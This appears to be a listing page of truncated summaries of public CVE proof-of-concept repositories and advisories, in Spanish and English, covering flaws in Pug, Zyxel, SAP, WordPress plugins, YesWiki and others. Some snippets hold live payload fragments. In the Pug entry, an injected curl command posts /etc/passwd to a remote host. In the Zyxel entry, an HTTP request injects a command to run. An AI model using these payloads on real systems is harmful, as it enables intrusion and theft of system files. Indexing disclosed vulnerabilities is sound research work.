ghostscript-CVE-2023-43115

ghostscript-CVE-2023-43115 A small write-up with examples to help understand CVE-2023-43115. !WARNING I wrote this mainly for myself to understand the problem and to learn about cybersecurity. So there may be errors. The Problem To utilize the IJS device Improved Inkjet Printing, Ghostscript is...

CVE-2020-6308-PoC

CVE-2020-6308 SAP POC SAP BusinessObjects Business Intelligence Platform Web Services, versiones 410, 420 y 430, permite a un atacante no autenticado inyectar valores arbitrarios como parámetros CMS para realizar búsquedas en la red interna que de otro modo no es accesible externamente. Sígueme e...

PUG-RCE-CVE-2021-21353-POC

PUG-RCE CVE-2021-21353 POC Información de la vulnerabilidad Número CVE: cve-2021-21353 Puntuación CVSS: 8.1 pugversion ';=' ?pretty=';process.mainModule.constructor.load'childprocess'.exec'curl -X POST -d "$cat /etc/passwd" ';='...

CVE-2022-36537-EXPLOIT

CVE-2022-36537 Resumen R1Soft Server Backup Manager utiliza el framework ZK como su framework principal. Su seguridad requiere que todas las partes de proyectos Web3 presten más atención a las vulnerabilidades de seguridad de diversas infraestructuras Web3 y las parcheen a tiempo para evitar...

CVE-2024-4443-Poc

CVE-2024-4443-Poc CVE-2024-4443 Business Directory Plugin – Easy Listing Directories for WordPress execute \business-directory-plugin\includes\helpers\class-listing-search.php:88 WPBDPListingSearch-traversetree \business-directory-plugin\includes\helpers\class-listing-search.php:185...

CVE-2024-29973

CVE-2024-29973 GET /cmd,/simZysh/registermain/setCookie?c0=storageextcgi+CGIGetExtStoInfo+None+and+False+or+import"subprocess".checkoutput"id",+shell=True%23 HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept: / Accept-Language: en-US,en;q=0...

CVE-2024-10140

CVE-2024-10140 El script explota una vulnerabilidad de inyección SQL encontrada en el endpoint /php/managesupplier.php?action=delete&id=32. La vulnerabilidad permite a un atacante inyectar comandos SQL arbitrarios a través del parámetro id, comprometiendo potencialmente la base de datos y...

CVE-2024-12484

CVE CVE-poc Tipo de Problema Inyección SQL Causa Raíz Se ha identificado una vulnerabilidad de inyección SQL en el archivo /signuppost.php del proyecto “Foro Técnico Usando Código Fuente PHP”. La vulnerabilidad se origina porque un atacante puede inyectar código malicioso a través del parámetro d...

CVE-2026-104733

The ProcessOnes XMMP Server ejabberd (versions

CVE-2026-104442

YesWiki before 4.6.7 contains an unauthenticated server-side request forgery vulnerability that allows remote attackers to make the server fetch arbitrary URLs by supplying a syndication action through the render handler's content parameter. Attackers can target internal hosts and ports, read bac...

Curveball

Curveball Un PoC para CVE-2020-0601. Una publicación de blog detallada se puede encontrar aquí. Este exploit permite crear un certificado de confianza falso abusando de cómo CryptoAPI maneja ciertos parámetros en certificados basados en ECC. Configuración Clona el repositorio y ábrelo en Visual...

CVE-2022-22947

Sobre la base del código de Wang Zheng, se han añadido dos tipos de reverse shell y detección de salida de red. Si falta algún módulo al ejecutar, basta con usar pip para descargarlo. Introduce la URL sospechosa; ten en cuenta que después del puerto no debe ir '/' 1. Comprobar primero si existe l...

text4shell-cve-2022-42889

Text4Shell CVE-2022-42889 Docker Lab for CVE-2022-42889 You can either build the Docker image locally or pull the image from Docker Hub and run the container. Clone the repo git clone https://github.com/devenes/text4shell-cve-2022-42889.git Build the Docker image locally docker build...

CVE-2023-30145

Descripción: Se descubrió que Camaleon CMS v2.7.0 contiene una vulnerabilidad de inyección de plantillas del lado del servidor SSTI a través del parámetro formats. Componente afectado: Todas las versiones anteriores a 2.7.0 Versión corregida: Versiones corregidas: 2.7.4 Pasos para reproducir :...

CVE-2023-4698

CVE-2023-4698 Inclusión de Archivos Locales LFI en usememos/memos 0.13.2 Descripción Hoy quiero destacar un descubrimiento significativo: una vulnerabilidad de seguridad crítica identificada en usememos/memos. Esta vulnerabilidad, que se encuentra en la categoría de Inclusión de Archivos Locales...

kodex

Kodex Community Edition - CE is an open-source toolkit for privacy and security engineering. It helps you to automate data security and data protection measures in your data engineering workflows. It offers the following functionality: Read data items from a variety of sources such as files,...

CVE-2026-104470 YesWiki before 4.6.7 SSRF and XSS via Bazar valeur Action

YesWiki before 4.6.7 contains a server-side request forgery vulnerability in the Bazar valeur action that allows page editors to make the server fetch arbitrary URLs. Attackers can supply loopback or internal URLs in the url parameter to probe internal services and inject unescaped remote HTML th...

EUVD-2026-91481

YesWiki before 4.6.7 contains a server-side request forgery vulnerability in the Bazar valeur action that allows page editors to make the server fetch arbitrary URLs. Attackers can supply loopback or internal URLs in the url parameter to probe internal services and inject unescaped remote HTML th...

CVE-2026-104470

YesWiki versions prior to 4.6.7 are vulnerable to a Server-Side Request Forgery (SSRF) flaw within the Bazar valeur action . This issue allows authorized page editors to force the server to fetch arbitrary URLs by manipulating the url parameter. Attackers can utilize loopback or internal URLs to ...

EUVD-2026-91476

YesWiki before 4.6.7 contains a reflected cross-site scripting vulnerability that allows unauthenticated attackers to inject scripts via the field parameter of the mail handler. Attackers can craft links whose field value breaks out of the ajax-mail-form action attribute to execute JavaScript in...